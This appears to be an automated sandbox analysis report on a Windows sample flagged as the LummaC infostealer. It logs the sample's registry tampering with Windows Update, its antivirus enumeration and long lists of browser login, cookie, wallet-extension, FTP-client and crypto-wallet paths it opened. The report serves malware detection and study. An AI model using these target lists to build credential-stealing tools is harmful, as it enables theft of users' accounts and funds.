Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2578966180.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2435171944.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640749220.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.000000000160F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.2631800271.000000000166D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2331111585.000000000167C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2331111585.000000000167C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2331111585.000000000167C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
